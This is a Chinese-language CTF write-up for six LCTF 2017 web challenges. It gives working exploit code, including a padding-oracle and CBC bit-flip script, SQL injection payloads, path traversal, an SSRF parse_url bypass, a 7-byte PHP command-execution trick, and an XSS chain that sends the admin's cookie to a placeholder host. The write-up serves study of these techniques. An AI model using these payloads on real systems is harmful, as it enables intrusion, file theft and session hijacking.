LCTF 2017 Web Writeup

知识点挺多的,整理学习下


Simple blog

存在login.php并且有源码泄露.login.php.swp
下载下来用vim -r恢复后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>

我原来写过一篇从零学习Padding Oracle攻击和CBC字节翻转攻击,这里就不详细分析了
存在弱口令账号:admin密码:admin 可以触发get_identity
再用登录的PHPSESSID去触发test_identity()
直接贴上队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding=utf-8
import requests
url = 'http://111.231.111.54/login.php'
iv = list('0000000000000000')
mid = ['0'] * 16
def getMiddleValue():
for i in range(1, 17):
iv_fix = ''
for j in range(i-1)[::-1]:
iv_fix += chr(ord(mid[16-j-1]) ^ i)
for j in range(256):
iv = '0' * (16-i) + chr(j) + iv_fix
cookies = dict(PHPSESSID='5vr0tum53p0kfpth39dqirh900', token=iv.encode("base64").replace('=', '%3D').replace('\n', ''))
r = requests.get(url, cookies=cookies)
if 'Error!' not in r.text:
print iv
mid[16-i] = chr(i ^ j)
print ''.join(mid).encode('hex')
break
# 303373782b0e140603135c1407091b66 (hex middle value)
def login():
mid = list('303373782b0e140603135c1407091b66'.decode('hex'))
iv = ['0'] * 16
for i in range(5, 16):
iv[i] = chr(0x0b ^ ord(mid[i]))
for i in range(1, 5):
iv[i] = chr(ord('dmin'[i-1]) ^ ord(mid[i]))
for i in range(256):
iv[0] = chr(i)
cookies = dict(PHPSESSID='5vr0tum53p0kfpth39dqirh900', token=''.join(iv).encode("base64").replace('=', '%3D').replace('\n', ''))
r = requests.get(url, cookies=cookies, allow_redirects=False)
if r.status_code != 200:
print cookies
break
if __name__ == '__main__':
login()

获取相应token后admin.php会发现一个可以注入的参数id
payload:

1
id=admin&title=%1$%27%20union%20select%201,database(),(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()limit%200,1)%23

利用的是php的sprintf函数的特性

萌萌哒报名系统

提示是用IDE开发,存在/.idea/workspace.xml
发现存在xdcms2333.zip
下载分析,关键的一步在register.php中插入数据时不插入GUEST
register.php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

要满足

1
2
3
4
5
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
......
}

由于code没有限制,且为post请求,利用preg_match函数的缺陷
payload:

1
code = "xdsec"."###".str_repeat('c',10000);

再去登录发现前面返回了NONE
然后根据member.php中的

1
2
3
4
5
6
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);

来读文件,可以用php://伪协议来读文件
或者用

1
file=a/../../../../../var/www/html/config.php

来bypass

“他们”有什么秘密呢?

首先entrance.php很明显的注入,过滤了information、schema、tables、database、users等等总之不能从information_schame数据库中读表名或字段名
而且没有读mysql数据库的权限,无法读mysql.innodb_table_stats中的内容
tip说要读一个表名和一个表中字段
这题注入的做法来自于mysql注入可报错时爆表名、字段名、库名
由于可以报错
用Polygon或者LineString函数来报错出数据库名,表名和指定字段名
源码中看到有pro_id
测试

1
pro_id=1 and LineString(pro_id)

成功报错出

1
Illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing

再依次报出

1
2
3
4
5
6
7
8
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c)
Duplicate column name 'pro_name'
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name)) as c)
Duplicate column name 'owner'
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner)) as c)
Duplicate column name 'd067a0fa9dc61a6e'

然后根据order by注表中数据
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
s = requests.session()
url = "http://182.254.246.93/entrance.php"
secret = ""
for j in range(0,30):
for i in range(33,129):
if chr(i) == '\'':
continue
data = {"pro_id":"3 union select 1,2,'"+ secret + chr(i)+"',4 order by 3"}
r = s.post(url , data = data)
if '2' not in r.text:
secret = secret + chr(i-1)
print secret
break
#tom wobuzaizheli
#john nextnext
#boss 7195ca99696b5a896.php

next entrance:d067a0fa9dc61a6e7195ca99696b5a896.php
是一个可写入文件的功能,能写php但是文件内容只能有7位,但文件名可以任意构造
根据

1
<?=`*`;

可以将目录下的文件名以命令形式执行
由于bash命令后面接文件名会把文件里的内容用bash执行
首先写一个文件名为bash,文件内容任意
然后写一个文件名在bash后面的文件名,如c,文件内容为ls /
再写一个c014.php(文件名要在c后面),文件内容为上面的7字节php代码
访问c014.php
会发现根目录下存在327a6c4304ad5938eaf0efb6cc3e53dc.php
再写一个bbbb文件(文件名要大于bash小于c),文件内容为cat /3*
再访问c014.php即可读取该php文件

签到题

最初考虑的有点多
先贴上自己的payload

1
file://www.baidu.com@localhost:80@www.baidu.com/home/lctf/flag?

看了看官方wp

1
file://www.baidu.com/etc/flag?

后来读取源代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";
if ($host !== 'www.baidu.com'){
die("wrong site");
}
$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);
if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}
?>

parse_url函数会将payload分解成

1
2
3
4
5
6
7
8
Array
(
[scheme] => file
[host] => www.baidu.com
[user] => www.baidu.com@localhost
[pass] => 80
[path] => /home/lctf/flag
)

1
2
3
4
5
6
Array
(
[scheme] => file
[host] => www.baidu.com
[path] => /etc/flag
)

只验证了parse_url后的host而没有验证schema所以可以用file读取文件

wanna hack him?

一个xss题,csp有nonce值
先输入123来preview一下发现

1
2
3
4
5
6
<html>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-1b643489f2716f485f03c0880f02ddfc';">
123<p>comment here</p>
<script nonce="1b643489f2716f485f03c0880f02ddfc">var test='test';</script>
<p>welcome to comment on admin's blog</p>
</html>

试一下iframe标签
提交

1
<iframe src='http://yourxssplat/?nnn

发现在自己的xss平台上收到了admin的nonce值
多试几次会发现每次nonce值都不一样
所以要让admin在一个进程中先打回nonce值再让admin去xss自己
提交页面后iframe中的script是可以执行的
思路就是利用iframe将nonce打回来的同时,iframe中有一个自动提交的表单让admin去preview带nonce的js代码然后打回cookie
就是要让bot访问这样一个页面

1
2
3
4
5
<form id='cc' action='http://211.159.146.223/preview.php' method='post'>
<input name='content' type='text' value='<script nonce="lalalala">top.location.href("http://yourxssplat/x/?"+ducoment.cookie)</script>'/>
<input type='submit' value='submit'>
</form>
<script>document.getElementById('cc').submit()</script>

payload:
自己远程服务器lctfxss.html

1
2
3
4
5
6
7
<script>
url = window.location.href
index = url.indexOf("=%22");
nonce = url.substr(index+4,32)
a = '\<form id="cc" action="http:\/\/211.159.146.223\/preview.php" method="post"\>\n\<input name=\'content\' type="text" value=\'\<script nonce=\"lalalala\"\>top.location.href="http:\/\/yourxssplat\/x\/?"+document.cookie;\<\/script\>\'\/\>\<input type="submit" value="submit"\>\n\<\/form\>\<script\>document.getElementById("cc").submit()\<\/script\>';
document.write(a.replace("lalalala", nonce))
</script>

提交

1
<iframe src='http://yourvps/lctfxss.html?

即可在xss平台收到flag

L PLAYGROUND

这题当时没做出来,详细wp见官方wp
主要是忘了

1
在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在__pycache__目录下存放预编译模块,于是依次下载文件:http://localhost/static../__pycache__/__init__.cpython-34.pyc、http://localhost/static../__pycache__/urls.cpython-34.pyc、http://localhost/static../__pycache__/settings.cpython-34.pyc

Contents
  1. 1. Simple blog
  2. 2. 萌萌哒报名系统
  3. 3. “他们”有什么秘密呢?
  4. 4. 签到题
  5. 5. wanna hack him?
  6. 6. L PLAYGROUND